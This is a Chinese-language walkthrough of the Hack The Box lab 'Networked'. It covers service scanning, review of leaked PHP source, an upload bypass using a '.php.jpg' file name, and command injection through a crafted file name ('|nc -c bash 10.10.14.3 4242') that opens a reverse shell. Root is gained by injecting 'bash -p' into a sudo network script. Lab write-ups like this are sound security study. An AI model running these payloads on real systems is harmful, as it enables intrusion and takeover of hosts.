【HTB】Networked（白盒测试，上传绕过，命令注入）
2021-12-27 本文已影响0人
天线锅仔
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本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用，请不要将文中使用的工具和渗透思路用于任何非法用途，对此产生的一切后果，本人不承担任何责任，也不对造成的任何误用或损害负责。
服务探测
查看开启端口
┌──(root💀kali)-[~/htb/Networked]
└─# nmap -p- 10.10.10.146 --open
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-26 21:15 EST
Nmap scan report for 10.10.10.146
Host is up (0.29s latency).
Not shown: 65532 filtered ports, 1 closed port
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 387.26 seconds
查看服务详细信息
┌──(root💀kali)-[~/htb/Networked]
└─# nmap -sV -T4 -A -O 10.10.10.146 -p 22,80
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-26 21:27 EST
Nmap scan report for 10.10.10.146
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 5.1 (92%), Crestron XPanel control system (90%), Linux 3.18 (89%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 321.59 ms 10.10.14.1
2 322.21 ms 10.10.10.146
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.18 seconds
只有两个端口，显然web是主要攻击点
目录爆破
┌──(root💀kali)-[~/htb/Networked]
└─# gobuster dir -w /usr/share/wordlists/Web-Content/common.txt -u http://10.10.10.146 -t 30 --no-error
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.146
[+] Method: GET
[+] Threads: 30
[+] Wordlist: /usr/share/wordlists/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/12/26 21:20:46 Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 206]
/.htaccess (Status: 403) [Size: 211]
/.htpasswd (Status: 403) [Size: 211]
/backup (Status: 301) [Size: 235] [--> http://10.10.10.146/backup/]
/cgi-bin/ (Status: 403) [Size: 210]
/index.php (Status: 200) [Size: 229]
/uploads (Status: 301) [Size: 236] [--> http://10.10.10.146/uploads/]
首页内容
Hello mate, we're building the new FaceMash!
Help by funding us and be the new Tyler&Cameron!
Join us at the pool party this Sat to get a glimpse
有一行注释
upload and gallery not yet linked
/backup文件夹下有网页源代码的备份，下载下来查看
┌──(root💀kali)-[~/htb/Networked/backup]
└─# ls
index.php lib.php photos.php upload.php
看来这个靶机是白盒测试，主要方向是上传，留意到apache的版本是2.4.6，版本比较低，存在文件解析漏洞，这个上传绕过时要综合考虑。
我们分析一下源码：
上传逻辑在upload.php，lib.php主要是各种过滤函数的实现，photos.php是展示页面
分析upload.php
if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}
这里主要是判断文件的Content-Type必须包含image/字样以及文件大小必须小于60000字节
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}
这里主要是做了白名单限制，允许扩展名后缀是'.jpg', '.png', '.gif', '.jpeg'
chmod(UPLOAD_DIR . $name, 0644);
最后给了上传的文件可读权限
结合apache的版本，我用谷歌搜索到了这篇文章,期中提到
Apache HTTPD 支持一个文件拥有多个后缀，并为不同后缀执行不同的指令
以及
如果在apache配置文件中添加了php对应的解析的话，我们上传的文件中只要包含.php，php文件就会被执行
因此，我们只需要正常上传一张图片，图片文件的名称只要是包含xxx.php.jpg就可以绕过上传的限制，payload写在图片内容上即可
burpsuite截断以后的payload为：
POST /upload.php HTTP/1.1
Host: 10.10.10.146
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2789699860384911690836726261
Content-Length: 55138
Origin: http://10.10.10.146
Connection: close
Referer: http://10.10.10.146/upload.php
Upgrade-Insecure-Requests: 1
-----------------------------2789699860384911690836726261
Content-Disposition: form-data; name="myFile"; filename="portal.php.jpg"
Content-Type: image/jpeg
<?php phpinfo(); ?>
然后去到photos.php页面，在网页源代码里找到图片地址，新窗口打开以后就可以打印phpinfo内容
webshell
把上传的php playload换成revers shell，拿到立足点：
┌──(root💀kali)-[~/htb/Networked]
└─# nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.146] 49530
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
07:26:56 up 4:12, 0 users, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=48(apache) gid=48(apache) groups=48(apache)
sh: no job control in this shell
sh-4.2$ whoami
whoami
apache
apache身份无法读取user.txt，需要提权到另一个账号guly
guly下有另外两个文件，一一查看
crontab.guly
bash-4.2$ cat crontab.guly
cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
每三分钟会以guly的身份执行一次check_attack.php
查看check_attack.php内容
bash-4.2$ cat check_attack.php
cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";
$files = array();
$files = preg_grep('/^([^.])/', scandir($path));
foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";
#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);
if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);
exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}
?>
从上传源代码可知，上传文件的名字是由IP和扩展名组成，IP获得使用了REMOTE_ADDR,这个获得的是真实IP，在这部机器里拿到的就是我们vpn里的IP
假设IP是：10.10.14.3,上传的文件扩展是：.jpg,那么保存在服务器中的文件名是10_10_14_3.jpg
分析上面的代码
list ($name,$ext) = getnameCheck($value);
这一行主要是把文件名从uploads中拿出来，还原出一个真实的IP地址
$check = check_ip($name,$value);
上面这行检查IP是否合法，不合法的IP会进入下面的if判断
再留意这一行：
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &")
value的值其实是我们上传的文件名，某种程度上是可以"自定义"的，只要我们能控制服务器获得的IP，也就是说这一行代码存在命令注入漏洞。
一开始我是从伪造IP的思路，但是修改了几个请求头都不能伪造我们的IP地址
后来去到/var/www/html/uploads，发现这个目录是可写的，这就更加简单,只需要构建一个包含命令的文件名
我们创建一个包含playload的文件名
bash-4.2$ touch "|nc -c bash 10.10.14.3 4242"
touch "|nc -c bash 10.10.14.3 4242"
bash-4.2$ ls
ls
10_10_14_3.jpg 127_0_0_1.png 127_0_0_3.png index.html
10_10_14_3.php.jpg 127_0_0_2.png 127_0_0_4.png |nc -c bash 10.10.14.3 4242
收到反弹shell，成功提权到guly
┌──(root💀kali)-[~/htb/Networked]
└─# nc -lnvp 4242 1 ⨯
listening on [any] 4242 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.10.146] 49588
id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
whoami
guly
提权
切换tty，查看sudo特权
sh-4.2$ sudo -l
sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin
User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
可以以root身份执行一个sh文件，查看该文件
sh-4.2$ cat /usr/local/sbin/changename.sh
cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF
regexp="^[a-zA-Z0-9_\ /-]+$"
for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done
/sbin/ifup guly0
尝试执行上面的脚本，它要求输入4个参数
sh-4.2$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
bash -p
bash -p
interface PROXY_METHOD:
id
id
interface BROWSER_ONLY:
whoami
whoami
interface BOOTPROTO:
bash
bash
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: -p: command not found
/etc/sysconfig/network-scripts/ifcfg-guly: line 4: -p: command not found
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.
我们看到有三行报错，其中-p显示command not found，这一个字符被当成了命令执行，我们再次构造输入命令
sh-4.2$ sudo /usr/local/sbin/changename.sh
sudo /usr/local/sbin/changename.sh
interface NAME:
bash bash -p
bash bash -p
interface PROXY_METHOD:
bash bash -p
bash bash -p
interface BROWSER_ONLY:
bash bash -p
bash bash -p
interface BOOTPROTO:
bash bash -p
bash bash -p
[root@networked network-scripts]# id
id
uid=0(root) gid=0(root) groups=0(root)
把-p的位置变成了bash -p成功提权到了root
我没太明白这个脚本是怎么回事，猜测是把我们的输入当成了命令执行
总结
很简单的靶机，基本上是白盒测试。上传漏洞要综合考虑apache版本，通过阅读源代码构造绕过限制的payload。Know it then Hack it。两次提权都是通过命令注入，提权到root通过观察报错信息猜测我们的输入被当成了命令执行，从而成功提权。
